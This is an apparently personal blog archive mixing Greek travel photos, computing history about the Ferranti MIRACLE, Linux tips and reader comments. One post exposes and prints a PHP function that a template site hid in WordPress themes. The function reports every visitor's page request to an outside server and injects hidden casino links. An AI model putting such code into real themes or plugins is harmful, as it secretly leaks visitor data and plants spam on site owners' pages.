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Onno Zweers
Latest news: Templatesbrowser.com is online again! Beware!
andrew
The site in question are complete jerks, i have seen then plagerising articles, stealing peoples web content and now using dodgy links, i hope google catch them out.
Mandy
broken iron... where the turn thingy for heat has come off?
kay
Ik heb ook een shuffle (2nd gen) en het heeft inderdaad beperkingen, maar je hoeft niet per se met itunes et werken gelukkig... winamp doet het ook prima. Start winamp en open de media library. Tussen "Portables" komt dan je ipod. Itunes heeft mijn leven ook een hel gemaakt vandaar de alternatief.
varun
thanks a bunch .. i was about to put this theme on a high traffic public blog.
Pete
This is excellent information! This crap code was in our blog and with your help we removed it! This is a pretty crap thing for Templatebrowser to do...
Onno
Their Joomla page was just taken offline (404). Perhaps it helped that I complained to his provider, and to Google (who placed the ad).
Andreas
This is the address:
ΙΕΡΑ ΜΟΝΗ ΚΟΙΜΗΣΕΟΣ ΘΕΟΤΟΚΟΥ ΜΑΛΕΒΗΣ
22009 ΑΓΙΟΣ ΠΕΤΡΟΣ ΚΥΝΟΥΡΙΑΣ
GREECE
Stephanos in Atlanta
Xristos Anesti!!!
Please adapt this to work with SeaMonkey! I don't need the greeklish support, just be able to click on a Greek or English word and have it translated. ...
Philip R J
nice to know....
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Greece is being destroyed by 'respectable' fanatics Greece "The EU's terms do not begin to match the altruism the United States showed to the defeated Germans after 1945. America did not pauperise West Germans as many in France and indeed Washington wanted. America guaranteed their security, then gave them loans from the Marshall Plan that allowed the West German economic miracle to begin. Greece has invaded no one and committed no crimes against humanity. Yet the EU, which boasts that solidarity is its founding principle, is forcing it into destitution and chaos."
http://www.guardian.co.uk/commentisfree/2012/feb/19/nick-cohen-greece-european-union-crisis Onno - feb 19, 2012, 18:48 -
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GConf Error ICT, Linux Got this error message while starting gedit through a 'ssh -X' to a CentOS6 box:
GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: /bin/dbus-launch terminated abnormally without any error message)
Fixed it by installing dbus-x11 on the remote host. Onno - jan 30, 2012, 12:53 -
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My new laptop on its world tour Photos 
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Follow That Page fans Inbox, ICT, Lifelog Mail from an enthousiastic Follow That Page user:
I KISS YOU!
I foolishly missed out on buying some Glastonbury tickets. It's a big music festival in the UK that sells out within 24 hours. Knowing that they sometimes make a tiny amount available, I had Follow That Page look at the ticket site.
Today, a month after they first went on sale, my phone beeped at me. The page had changed. SOLD OUT had changed to CLICK HERE. I ran to the nearest internet connection and bought my ticket.
An hour later they were all sold out again.
THANK YOU! The internet is great because of people like you.
See also this discussion. Onno - oct 28, 2009, 23:00 -
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Where the hell is Matt? Linkdump Matt Harding travels around the world dancing. Onno - july 22, 2008, 13:01 -
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What does Onno do at SARA? ICT, Lifelog Onno is now one of the system administrators of the Dutch Life Science Grid, a collection of clusters of computers that work together to make medical, biological and chemical calculations for universities and medical institutes. Onno - aug 13, 2007, 22:43 -
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Templatesbrowser.com quits ICT Now finally the Digg users are aware of the garbage that tempatesbrowser.com puts in its templates for Joomla and Wordpress.
Digg
As my brother Wessel writes, when I posted this on Digg months ago, there was hardly any response. Now suddenly there is. Well, all is well that ends well: the site is finally offline now. Onno - aug 9, 2007, 12:22 -
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Smoke above the Aoos Photos, Nature, Greece 
Smoke of a nearby burning forest makes the sunlight look like a sunset above the gorge of the river Aoos, in the Vikos-Aoos national park.
Onno - july 24, 2007, 23:28 -
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Nissan in Papingo Greece Nice video of Papingo and the Vikos-Aoos national park.
Youtube video
By the way, my good friend Giorgos has three absolutely great villa's for rent, a great starting point for exploring the Tymfi mountain range. Drakolimni, Gamila, Astraka, the Vikos gorge, the natural pools of Papingo, rafting on the river Voidomatis, all within short range! Have you always enjoyed the photos I posted here, then take this opportunity and book one of his villas while they are available!
www.papingo.info
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Templatesbrowser.com puts phishing code in Joomla ICT I have already told you that Templatesbrowser puts linkspam in Wordpress templates.
Now they do something similar with an adapted version of content management system Joomla, according to this discussion:
forum.joomla.org...
The PHP code sends every URL requested by your visitors to templatesbrowser.com, including all parameters. In other words, templatesbrowser monitors exactly what your visitors do on your Joomla website.
Additionally, it can return a piece of HTML code, probably with link spam, like in their Wordpress templates.
Conclusion: only download software from reliable sources. Onno - june 29, 2007, 09:35 -
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Famous last nerds Humor, Linkdump These guys deserve a higher pagerank. Funny sketches on rap. My favorites are MC Schizophrenic "I'm MC Schizophrenic - no you're not - yes I am" and Wassup Holmes "What, son?/Watson". Myslexic Dan probably is very funny too, especially for anagram lovers, but quite a puzzle for non native speakers.
www.famouslastnerds.com Onno - june 24, 2007, 17:20 -
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Improved Follow That Page monitors Google Pagerank ICT, Linkdump This afternoon I employed the new version of Follow That Page.
New:
- With filters, FTP ignores parts of a page that don't interest you.
- You can have a page checked hourly.
- You can have Google pagerank for pages monitored.
- The robot's algorithm has been improved. Onno - june 23, 2007, 22:16 -
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Traffic Humor, Lifelog 
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The Ferranti Miracle archive of Lidy ICT I have put the digitized archive of my mother Lidy Zweers-De Ronde, about the Ferranti Mark I* at Shell labs (Miracle), online.
www.xs4all.nl/~onnoz/miracle/extra/
My mother got the photos at her work, Shell labs in Amsterdam. They were used as press material and many photos (at the office) were taken by herself and her colleagues. The tape, hm well, she was not allowed to bring it home but I guess we should now all be grateful that she did, for the sake of computer archeology.
www.computer50.org says that one Ferranti Mark 1* went to Holland. I guess that was the one my mother worked with. My mother has studied math and was hired at Shell lab as a (human) calculator/computer. At Shell, they had to calculate chemical substances and processes. She sometimes needed two weeks for certain calculations, with pen & paper and mechanical calculator. And it would happen, that halfway such a calculation, she found out that the result did not pass a simple test like "a squared number should be positive". At a certain time her boss said: never mind that, soon we will start using the Ferranti "MIRACLE", that can do the job much faster.
My mother says they started working with the Miracle in 1953 (because she associates the Miracle with the terrible flood of february 1953) but from several newspapers I see the dates 3 & 4 february 1955 as the official press conference opening. A colleague of my mother, Lunbeck, says 1953, like my mother does. Could it be that it took them two years to build the machine?
MIRACLE was short for Mokums Industrial Research Automatic Calculator for Laboratory and Engineering (Mokum being a nickname for Amsterdam), but it was soon changed into May It Replace All Chaotic Laboratory Experiments. :-)
There was a colleague that discovered how to produce sound on the Ferranti. He programmed the national anthem (Wilhelmus), and it was used when queen Juliana and her husband got a tour. At the grand opening before that, they also played the anthem and some other tune to the press, who were very impressed. The press also found it necessary to point out that computers were not robots and most certainly could not think for themselves.
Very funny is a remark in a Shell internal newspaper:
"Het is moeilijk te voorzien wat de toekomst op dit gebied zal brengen. Het laat zich aanzien dat de toekomstige rekenmachines niet veel meer aan snelheid kunnen winnen omdat de ons door de natuur opgelegde maximum snelheid van licht en electriciteit niet overschreden kan worden."
I translate:
"It is difficult to foresee what the future in this field may bring. It is to be expected that future computing machines can't gain much speed because the maximum speed of light and electricity, imposed by nature, can't be exceeded."
My mother has taught people at Shell how to program the computer. People were not satisfied with the previous teacher, who taught only theory. Her intention was to get her students behind the computer as soon as possible, to run a very simple calculation: 3+2. This was very successful: as soon as they got that working (some of them within a week), they were all very proud and happy, and their enthusiasm did the rest.
After a few years, my mother married my father and it was custom that married women quit their job to become housewives. My mother didn't regret that: she had enough of all those numbers. She, quite exceptionally, was offered to stay at Shell a while longer, but she declined.
I once asked a friend to interview my mother and the audio is available and my brother has typed out the text, but I'm afraid it's all in Dutch. I have put the text together with almost all photos and articles; and photos and binary transcription of the only remaining tape. Here they are:
www.xs4all.nl/~onnoz/miracle/extra/
Perhaps you can run the transcription of the interview through a translator like Altavista Babelfish. Perhaps one day I'll have time to translate it.
One of the documents is a summary of the instruction set of the Ferranti Mark 1*. I assume the Miracle was a Mark 1* because of the alphabetically ordered coding.
I found www.computer50.org after Cordula Rooijendijk published a book on Dutch (and English and American) computer history. She interviewed my mother (who never realized Cordula was writing a book) and wrote about her and also a whole chapter about Alan Turing and his work during the war and his tragic ending. It was this book that inspired me to learn a little bit more about the Ferranti Mark 1.
www.uitgeverijatlas.nl/... Onno - june 12, 2007, 15:01 -
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Flower field Photos, Nature, Netherlands 
Netherlands, Bergen, Wetering road, yesterday afternoon. Near a pond this field was ploughed, and the grass on which I used to play as a kid, gave way to these incredible flowers.
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Instruction set of the MIRACLE (Ferranti Mark I, 1953) ICT The MIRACLE (Mokums Industrial Research Automatic Calculator for Laboratory and Engineering, or May It Replace All Chaotic Laboratory Experiments) was the first electronic computer in a commercial environment in the Netherlands. That was back in 1953. My mother was one of its programmers. Here is an instruction table for the computer, including printout characters like the at-sign: @. The machine was fed with tape. You can see that the instructions were 5 bits wide.
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I'm considering to put this material on Wikipedia. But these days Wikipedia is very strict about copyrights. The material is from around 1953, and according to European copyright laws, the copyright will expire around 2023. The original makers are almost impossible to find, and may very well have died. But the material is too special to leave it hidden in a closet for years, so I'll post it anyway, and if Wikipedia will not have it, I'll post it here.
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www.xs4all.nl/~onnoz/miracle/extra Onno - june 7, 2007, 22:28 -
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Book on (Dutch) computer history ICT, Lifelog 
"Alles moest nog worden uitgevonden" is a book written by Cordula Rooijendijk about the history of computers mainly in the Netherlands. The book includes an interview with my mother Lidy Zweers - de Ronde, who worked at Shell labs in Amsterdam as one of the first programmers in the Netherlands.
Onno - june 7, 2007, 21:39 -
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Driving in Greece Greece, Linkdump Be extra careful when you pass slower vehicles and have to cross over to the opposite direction lane . There is no avoiding this maneuver on Greek roads especially if you are stuck behind a slow moving tractor trailer on a long uphill for the last 24 minutes. Maybe it's the pressure of 48 Greek drivers tailgating you cursing and waving frantically in your mirrors, maybe it's the need to get to where you are going sometime this century, or maybe it's your own latent Spartan warrior deep down inside who tends to awaken when you drive uphill behind a tractor trailer with 48 Greek drivers behind you, maybe all these reasons will compel you to forget all your ideas about defensive driving and pass the darn truck even if it is the last thing you would ever do.
www.greeklandscapes.com... Onno - june 6, 2007, 19:44 -
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Searching and selecting plants Nature, Linkdump Say, you want to know which climber with red flowers thrives in the shade. How do you find out which plants do just that? With the Plant Finder at BBC Gardening. Onno - may 25, 2007, 10:35 -
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Walking on the Trail of Lord Byron (New York Times) Greece, Linkdump Elise Maclay writes almost poetically about the Pindos. She makes some minor mistakes (Ionnina and Drakalimmi instead of Ioannina and Drakolimni) but I'm most happy to forgive her. She wrote this in 1990, when I had never been in Greece yet.
FROM childhood, I have loved walking and reading, ideally in close conjunction. A loaf of bread, a jug of wine? For me, a book and a backpack are enough. Especially if I can walk in the footsteps of one of my favorite authors.
Last spring I did just that, roughly approximating the itinerary of the poet George Noel Gordon Byron on his initial foray from Prevesa on the Ionian coast to the interior of northwest Greece.
nytimes.com/... Onno - may 23, 2007, 21:29 -
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Comparison of antivirus software ICT, Linkdump For my work, I was looking for new antivirus software. The last release of McAfee is terribly slow and makes our computers unstable.
After some searching I found this comparison of antivirus programs. Kaspersky tops the list. Onno - may 23, 2007, 09:58 -
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Templatesbrowser.com puts link spam in WordPress ICT, Linkdump, Lifelog My brother Wessel used to be very positive about the thousands of free WordPress themes that you can download to markup your weblog.
But one should be careful. With my web page monitoring service Follow That Page, which also monitors hidden text, I found that my brothers website contained hidden commercial links to casinos and hotels. My brother checked it out and discovered the site that is responsible for all this: www.templatesbrowser.com/wordpress-themes/.
How does Templatesbrowser.com work?
On their site, you can download more than hundred free WordPress themes. These themes come from other websites, but Templatesbrowser.com adds a sneaky piece of code at the end of the file functions.php:
function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:
<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>
This produces a link at the bottom of every WordPress page, that is invisible for human readers.
Templatesbrowser.com apparently does this to increase the pagerank of certain websites. We're not sure if Google falls for this little link spam trick. But if Google does find out that your page contains link spam, you risk being punished. That could mean that your website is removed from Google's search result pages.
More information on Wessel's website www.laterna.nl (Dutch only).
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Templatesbrowser now distributes a version of the CMS Joomla with added phishing techniques, so that they can monitor what your visitors do on your Joomla website. Onno & Wessel - may 18, 2007, 22:24 -
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Pines Photos, Nature, Netherlands 
Schoorl, Netherlands, this morning. Pine trees.
Female cones.
Male cones.
Male cones.
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Tadpole Photos, Nature, Netherlands 
Vogelmeer, Schoorl, The Netherlands, this morning. There ware some 100000 of them, I estimate.
Onno - may 18, 2007, 18:55 -
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Dune rose and hoverfly Photos, Nature, Netherands 
Schoorl, The Netherlands, this morning
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Nissan in Papingo Greece, Linkdump Interesting news for Papingo lovers and probably also for car lovers: Nissan will present its new X-trail in Papingo. In june to be precise, according to my friend Giorgos who comes from Papingo. Onno - may 15, 2007, 08:59 -
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Death Valley at night Photos, Linkdump 
This "astronomy picture of the day" appears to come out of a fairy tale: a night sky above Death Valley.
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Ioannina airport will become international Greece Maria has heard from several sources that Ioannina airport will become international. Hopefully it will be easier to travel to the heart of Epirus. Good news for lovers of Zagoria, Vikos gorge, Ioannina, and for hikers who want to explore the gorgeous Pindos mountains. Onno - may 9, 2007, 20:21 -
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Mating insects Photos, Nature 
Oudega, Friesland, Netherlands, 30 april 2007. I was shooting two mating insects when a third came flying right into the arms of the middle one. He doesn't look very comfortable. Can anyone tell what insects they are?
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Black swans Photos, Nature 
Bergen, The Netherlands, today 20:40
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iPod Shuffle sucks ICT iPods are cool, people seem to think. Onnoot dit not plan to buy one, but got an iPod Shuffle from his bank as a present. It turns out that the iPod Shuffle leaves so much to be desired, that it's hard to comprehend its success. Here are a few of the cons.
1. Without the iTunes software, you might as well throw your iPod out of the window. Every other MP3 player can be connected to any USB port, after which you can copy your MP3 songs onto it or from it. Not with the iPod. It only accepts its music from iTunes. iTunes renames the music files it puts on the iPod and makes a database that is needed for the iPod to play the music.
2. Because of that, the music that you put on iPod, can't be copied easily back to another hard disk.
3. iPods are not intended to connect to several PC's. If I connect the iPod to another PC than usual, the other iTunes insists on formatting the iPod, in order to put music on it. Not formatted? Then no access to the iPod from that PC.
4. iTunes wants to convert WMA files to AAC files. Unfortunately, AAC is not free of patents. Ogg Vorbis, an open standard, would be a better choice.
5. The iPod Shuffle does not have a radio. Players that cost half the price do. Plus a built-in microphone.
6. The iPod has an external USB cable. This is a special, non-standard cable that has to be connected on the earphone connector. Without that cable there is no connection and thus no battery recharging or music uploading. Normal players have a built-in USB plug.
7. iTunes asks if I want to register the iPod. It's the only player I know of that wants to be registered.
8. iTunes wants to take control of the cdrom player, so that it will play an inserted music cd. I disabled this trigger because I run VMware (virtual machines that also want to access the cdrom player), but iTunes wants to switch this trigger back on. iTunes tries to promote itself as default music player on my PC - while I only run it because the iPod forced me to. I don't like it that Apple tries to force its way into my computer.
9. When I connect the iPod, an extra drive appears to access it as a memory key. But as soon as I start iTunes, the drive disappears. Again, it seems Apple wants to decide how I use my equipment.
10. And now the truth comes out. Several times, iTunes asks if I want to connect to the iTunes Music Store. Conclusion: Apple main goal is not to provide an open music player; Apple wants people to shop in their music store. And they appear to be rather successful at it.
Is there nothing positive to be said about the iPod Shuffle? Well yes, it looks handsome.
But I don't want it anymore. The dubious business practices of Microsoft have made me allergic to vendor lock-in. I thought Apple was more cool. Onno - apr 26, 2007, 22:23 -
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My photos at Panoramio/Google Earth Photos, linkdump Did you know that Google Earth now shows photos of certain locations? Google Earth does that using the photo community website Panoramio. Now Onno has uploaded some photos of Greece, and hopefully they'll appear in Google Earth within a month. If you can't wait, you can admire them here:
http://www.panoramio.com/user/383011 Onno - apr 18, 2007, 22:39 -
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HP Laserjet 1320 and Laserjet 4345 don't get along ICT Here at my work, when I install the driver for the HP Laserjet 4345 MFP, the installation fails when there is a driver for the Laserjet 1320 present. After that, the existing 1320 driver is broken, so I end up with none of both drivers. On PCs without 1320 driver, there is no problem. Pretty weird, with two drivers from the same manufacturer... I have contacted HP about this and if they come up with something worthwhile, I'll post it here.
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HP provided a solution:
1. Remove all drivers (via Printers and Faxes, Device Manager en Add/Remove Software).
2. Install the 1320 driver from cdrom (the driver from the HP website appears not to contain all components). Don't connect the printer before the setup program asks you to.
3. Install the 4345 driver with the HP Network Install Wizard. Onno - apr 2, 2007, 15:20 -
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Ubuntu Linux demo videos ICT, Linkdump Want to know more about Ubuntu Linux but don't feel like reading long boring texts? Then watch the Ubuntu screencasts. Onno - jan 14, 2007, 20:26 -
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Digg.com should have a cache ICT The digg effect can strike like lightning. Before you know it, Digg.com sends so many visitors to your website that it can't handle the traffic and becomes unavailable.
There are some things that you can do to prevent it: move images to another dumb & fast server, use a cache for PHP scripts, remove unnecessary functions. But every webmaster has to do that for his own site, preferably in advance. A lot of work for a lot of people.
I read Digg a lot and I often find that a dugg website is not available, especially right after it hits the front page. I digg such a story blindly if the title interests me, and a few days later I check the site again, or I put the site in Follow That Page which will send me an email on the day the website is available.
It would be better if Digg.com had a cache, like Google has. If the digg effect made a website unavailable, you could still read a copy of it from the cache. It could be a very simple 'lynx --dump' text-only output, or it could be a 'gnome-web-photo' output that includes all images.
I will post this article on Digg.com. Probably my site will be crippled by the digg effect, but I don't mind: it would illustrate my point.
If you agree that Digg.com should have a cache, then please digg this article. Onno - jan 3, 2007, 22:45 -
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Disposable email addresses against spam ICT, Linkdump Tired of spam? Use disposable email addresses. If you don't want to make them yourself, have Spamgourmet do it for you. Onno - nov 29, 2006, 14:53 -
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Athens Photos, Greece 
Athens seen from Olympic Airlines, october 12.
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Onnoot in the Pindos Photos, Greece 
Mijn sisters in law Eleni and Elli are looking out over the valley of the Aoos.
Elli looks out over the Aoos gorge.
A horse in Paleoselli.
Elli and her father walk through Paleoselli with a bag full of beans.
Elli calls her husband Yannis with the mountain range Timfi in the background.
A church in Konitsa.
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PHP, mail and UTF-8 ICT, Greece Got to remember this one: very useful for sending Greek email from a PHP script. Onno - oct 10, 2006, 22:47 -
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Street sign Photos, humor 
"You can't live in bullshit"
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The castle of Parga Photos, Greece These photos are from may 2005.
A shoothole in the castle wall.
In the castle is a cafenio with a terrace and a view to the island.
Better not lean against it.
My sister Claire climbs between the ruins.
An underground corridor.
Is that Valtos beach there in the deep?
Yes, the beach chairs are ready.
And that's where we've been. Onno - oct 8, 2006, 21:30 -
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Along the Voidhomatis Photos, Greece, Nature Vikos-Aoos national park, may 15, 2005. The Voidhomatis (Voidomatis) is the river that springs from the 1000 meter deep Vikos gorge. Along the river is a footpath, that starts from the old bridge near Klidhoniá. In two to three hours you can walk to the new bridge that leads to Papingo, that's the bridge where the rafters start.
Lidy hides behind a "siamese" plane.
Claire at the bridge over the Voidhomatis, not far from Klidhoniá.
Near the bridge lies a wounded bat.
I went walking with Tasos, Katerina and Elli. The first part of the path is easy.
Planes in clear icy water. The "Vikos" brand mineral water comes from this river, perhaps the purest water of Europe.
The path is getting smaller. The trees are getting bigger.
The holes in the trees get bigger too.
Flora and fauna (I didn't take pictures of the snakes though).
Is this a pretty sight? Elli and Tasos in the fairytale forest.
Air plane.
The small deserted monastry of Ayi Anaryiri, half way the path, a hundred meter to the left.
Tasos shoots Elli.
Panorama of the monastery.
Ladder and poppy.
Every now and then a rubberboat with rafters came down the river. This team came ashore to look at the small monastery.
After this point, Elli, Tasos and Katarina went back to the starting point to have a picknick. I continued.
In the distance: the exit of the Vikos gorge.
Out of the hill side came water, a spring.
Panayia Spilotissa, another small monastry on the other bank of the river. I've already shown you the bridge in Rafting on the Voidhomatis.
Panayia Spilotissa.
Panayia Spilotissa, the bell tower.
People are having a picknick on the river bank.
Elli, Tasos en Katarina had saved a fish for me. Onno - oct 6, 2006, 23:27 -
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Blur (25) Photos, Blur 
Alkmaar, Netherlands, 15 minutes ago.
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Dawn in West-Friesland Photos, Netherlands 
September 22, 2006. Netherlands, somewhere between Alkmaar and the Afsluitdijk.
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The Tangent Linkdump Onnoot works a lot these days at the computer and today felt like putting on some music. Google found plenty of progressive radio stations, unfortunately with a lot of rigid, boring progrock. Until Onnoot heard the Swedish/British band The Tangent. Long compositions that keep your attention, surprises, humor, great drumming, from the best jazzrock traditions, swinging bass, fresh keyboards, saxophone, flute, Mellotron, Hammond. Onnoot actually spent money on music, for the first time in years. Onno - oct 1, 2006, 22:57 -
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Redesigned Photos Onnoot added some photos that are displayed at the top of this page rotatingly (every day another photo). These are the photos:
Honsdbossche zeewering, a sea dike 40 km northwest of Amsterdam
De Hondsbossche slaperdijk, a "backup" dike behind the sea dike
A ferry in a thunderstorm between Kerkyra (Corfu) and the Greek mainland and these colors were not manipulated.
A blurry photo
A sunset above the Greek/Albanian border as seen from the roof of my parents-in-law in Konitsa.
The Greek island Evia seen from the monastery of Ayi Anaryiri, Atalanta, Greece.
The dreamy trees in Limburg are still there. Onno - oct 1, 2006, 09:34 -
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Papadizi looking for 'American woman' Greece, Humor, Linkdump Papadizi from the Greek province Makedonia is a goat herd with unmistakenable charm and one big wish: to marry an American woman. In more than a dozen episodes he reports about his quest, speaking directly to Monica Lewinsky, Madonna, Cameron Diaz, Paris Hilton and Mister Google - "find me American woman!". He is still a virgin, because goats don't count, and yet he can easily find every womans G-spot, he says. Onno - sep 13, 2006, 21:56 -
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Greek Translator now works in Thunderbird too Greek, ICT Maria is in Greece with the kids, so I have some time for other things now. Today I made Greek Translator work with email client Thunderbird. That means, you can select a word or phrase in an email message, and translate it to or from Greek.
Update september 9: version 0.7 has officially been released on the mozilla website. Onno - sep 3, 2006, 21:57 -
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Family expansion Lifelog Onno and Maria have another son. His name is Dimitri. Mother and son are fine. Onno - july 14, 2006, 13:35 -
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Orange disease Greece, taal Onnoot is proud to announce a new word.
Portokalitis = orange disease.
Based on the Greek πορτοκαλί = portokali = orange (color). Onno - june 24, 2006, 09:10 -
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What happened to Webmin? ICT After upgrading to Ubuntu 6.06, you will find that system administration tool Webmin has disappeared. Why is that? The answer was posted on the Dutch Ubuntu site: Webmin is not safe enough and therefore Ubuntu is working on an alternative. Onnoot can't wait. Onno - june 22, 2006, 10:45 -
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Upgrade to Ubuntu 6.06 ICT Do you want to upgrade your firewall PC from Ubuntu Linux 5.10 to 6.06? Then beware of problems with Shorewall, the popular firewall package for Linux.
I like Ubuntu very much, especially because of the almost perfect package management. Even a major upgrade like this one can be done with the usual update manager, and that works fine, except for Shorewall. There are some significent changes in Shorewall 3 compared to 2. You should manually check all configuration files.
Some important things:
- Do you have a file called modules, then replace it by the newer version from /usr/share/doc/shorewall/default-config (if only I had known this, AAAAAARGH!)
- The structure of the zones file is changed: a row like "net net Internet" becomes "net ipv4". See also the comments in the new version of this file.
- The firewall zone (fw) if no longer defined in shorewall.conf, but in the zones file.
- In shorewall.conf (van versie 3), check the value of IP_FORWARDING. I changed it from Keep to On.
Here a general recipy to prevent problems:
1. Backup your /etc/shorewall directory before the upgrade.
2. Do the upgrade. This can take a few hours, if you have many packages installed.
3. After the upgrade, copy the default configuration files from /usr/share/doc/shorewall/default-config to /etc/shorewall.
4 Then open your old configuration files one by one, put them next to the new configuration files and copy your own rules to the new files. Do this with the following files:
interfaces
zones
hosts
policy
rules
masq
shorewall.conf
And with the zones and shorewall.conf files, be careful not to copy your old configuration without reading the comments carefully.
I hope this may save someone some work. Onno - june 20, 2006, 11:54 -
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Greek Translator extension for Firefox ICT, taal, Greece I've already told you about InTranslate. InTranslate has grown up and is now called Greek Translator, because it does not only use In.gr but also Babelfish. Greek Translator has been released officially at the addons website of Mozilla, and in a short time it has been downloaded 800 times. Onno - june 20, 2006, 00:18 -
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Blur (24) Photos, Simon, Blur 
Do you see it now?
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Alternatives to Microsoft software Linkdump, ICT Todd Verbeek maintains lists of alternatives to Microsoft software, split into categories. He also explains clearly and sensibly why you should try to avoid Microsoft products. Onno - may 19, 2006, 00:11 -
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Blur (23) Photos, Blur, Simon 
Amsterdam, may 18 2006. Simon running around the room naked. With a bit of long exposure and auto levels.
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Blur (22) Photos, Blur, Simon 
Amsterdam, april 25, 2006. Simon, photographed throught the hole of a cdrom.
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Simon at the beach Photos, Simon 
Netherlands, Bergen aan Zee, april 17, 2006
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New version of InTranslate Greece, Taal, ICT [This page is outdated. Please visit http://www.onnoot.com/wiki/intranslate.]
InTranslate, a Greek dictionary lookup tool for browser Firefox, didn't work from Greek to English. Now it does. Onnoot fixed it.
InTranslate is created by mpeimpiii. The problem was that Greek text was offered to the In.gr dictionary in UTF-8 encoding. But In.gr doesn't want UTF-8, it wants Windows-1253 encoded Greek text. So I built in a small convertor, that converts Greek letters directly from UTF-8 to Windows-1253 URI-encoded.
Beware, I tested this only on my own computer. Use it at your own risk. There is no garantee. Please share your experience here, so that I can further improve the extension. Please mention your Firefox version and language, the version of the InTranslate extension, and the page on which you tested it.
InTranslate 0.2a
Update april 12, 00:29:
Version 0.3 published. Bugfix: the two sigmas were mixed up.
InTranslate 0.3
[Update april 12, 23:30]
After clicking this link, Firefox will tell you it didn't install the software to protect your computer. Click "Edit options", then "Allow" and then "Close", and then try again.
Is it safe? Yes. If you don't trust it, save the file on your disk, open it with WinZip or 7-zip, and have a look at the sources.
[Update may 2]
Newer versions are available. See http://www.onnoot.com/wiki/intranslate. Onno - apr 10, 2006, 23:46 -
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How to make Firefox extensions ICT, Linkdump Roachfiend explains how to make Firefox extensions. Onno - apr 7, 2006, 00:11 -
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Firefox extension for Greece fans Greece, Taal There are many extensions available for the browser Firefox, and some of them are interesting for people who are involved in the Greek language.
InTranslate is a Gr-En-Gr translator. After installing this extension in Firefox, you can select a Greek word on a web page and lookup the English translation with the right mouse button. The other way round works too. Unfortunately it doesn't work with more than one word at once. The extension uses the translator on in.gr, the Greek equivalent of Yahoo. This translator is supposed to work better than that of Altavista.
Greek textbox is a extension that gives Firefox an extra bar, in which you can type Greeklish (Greeklish is Greek text typed in Latin, western alphabet). The extension immediately translates it into Greek characters. This can be useful for people who can't or don't want to change their keyboard settings. Disadvantage is that it only works in Firefox, while adding a Greek keyboard layout to you Windows keyboard settings will work for almost any application.
Extensions with "Greek" in their description Onno - mar 31, 2006, 22:38 -
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Solar eclipse Greece, Linkdump My brother in law Thomas photographed the solar eclipse from Konitsa (Greece). Onno - mar 29, 2006, 18:56 -
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Paleoselli Photos, Greece 
Griekenland, Paleoselli, may 2, 2005. The roof of the stable of the neighbours of my parents-in-law.
A truck is parked along the road from Konitsa to Paleoselli. Background: mount Timfi with highest top Gamila (1/3 from right), part of the Vikos-Aoos national park.
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Trout and beans Photos, Greece "Onno, give me some money," my father in law Dimitri said.
Gosh, that's a new development, I thought. My parents in law asking for money. Whenever I try to pay for something, usually they beat me to it. I gave him ten euro, completely insufficient to even the balance.
"I knew there should be a trout farm somewhere here. Now I found it! Come and have a look," he said, and from the saw mill he went upstream. Claire, Lidy, Tjerk and I followed him. There we saw the trout farm. River water plunged from tubes into containers of several meters across in which trout were swimming. We were invited in through the gate. While Dimitri bought fish from the owners, I made this panorama of 5 photos. The trout tasted great that night.
Greece, Armata, trout farm, may 2, 2005.
Greece, Paleoselli, may 2, 2005. This field of the neighbours of Dimitri is ready for growing beans. Onno - mar 1, 2006, 22:37 -
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Armata watermill Photos, Greece 
Armata, Epirus, Greece, may 2, 2005.
Claire is looking at a watermill. The mill stands along the mountain road that leads from Konitsa to Elefthero, Paleoselli and further eastwards to Armata. Small villages, where life has hardly been affected by modern times. In Paleoselli there have been a few watermills too.
In the middel you can clearly see the wheel that is turned by the water that comes out of the right tube. The left tube leads to a container that is used for washing sheepwool carpets and blankets/cloths (a typical product of the region).
My father in law Dimitrios offers my mother a helping hand when climbing the mill. In front you can see the saw blade.
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ELAS monument Photos, Greece 
Greece, May 2, 2005. On the road from Konitsa to Elefthero and Paleoselli, there is this monument, comemorating the deaths of a few ELAS fighters during the German occupation.
Unfortunately, the ELAS wne ton fighting after the second world war in an attempt to make Greece communistic, which resulted in a civil war, that was worse than the German occupation. Read about it in the book Eleni by Nicholas Gage (Gatzoyannis), highly recommended.
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Sunset in Albania Photos, Greece 
Greece, Konitsa, april 30, 2005.
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Pride and Prejudice Lifelog, Linkdump The magnificent TV-series Pride and Prejudice is on Dutch TV now and Onnoot missed half of it. But not to worry: this hypertext version of Jane Austen's book will be just helpful enough to fill the gaps, to fully enjoy the last episode tomorrow. British drama rules! Onno - aug 3, 2005, 21:15 -
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Vikos Photos, Greece 
Greece, Zagoria, Vikos, april 30, 2005. Panorama with a view into the Vikos gorge. Onnoot is still trying to think of the best way to photograph this gorge.
Some years ago Onnoot walked below the red spot. The red spot is a scar where once a part of Tymfi collapsed. You can see the remains below. Quite voilent it must have been...
To give an idea of the scale: the difference in height on this photo is 800 meter; the red spot is 200 meter high; a human being would be 1 pixel high. From Vikos we saw three dots moving along a thin line: hikers. 75mm proved a too short focal length to capture them.
The Vikos gorge. The difference in height here is about 1000 meter. That is more than the twin towers on top of each other. It is more than six times the Amsterdam Rembrandt tower. The photo is 332 pixels high, so 1 pixel is about 3 meter. Down below is the river Voidhomatis.
When I turned around, I saw this man butchering an animal for easter.
This is the view from the other side of Vikos. In such a remote place communication is important, hence the collection of antennas.
Flock of sheep near Aristi.
Are you in the mood for more photos? Browse to the site of Tom Dempsey with wonderful photos. He also tries to answer the question whether the Vikos gorge is the deepest in the world.
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Papingo Photos, Greece 
Greece, Zagoria, Mikró Pápingo, april 30, 2005. Two very old plane trees on the church square.
A panorama taken in the gallery of the church. On the left are burned out candles next to the door. On the right a view to the village of Vikos, at the end of the Vikos gorge. Many years ago hikers usually got permission to spend the night in this gallery, but now that the area is becoming more popular gradually, hikers are redirected to the local hotels.
The bell house with two curled hooks for ringing the bells. On the background is the church.
A house in Mikro Papingo, with horse shoes above the door for good luck. Small Greek villages don't have street names, only numbers. This house is now number 12 and remains of paint showed that the house had several other numbers in the past.
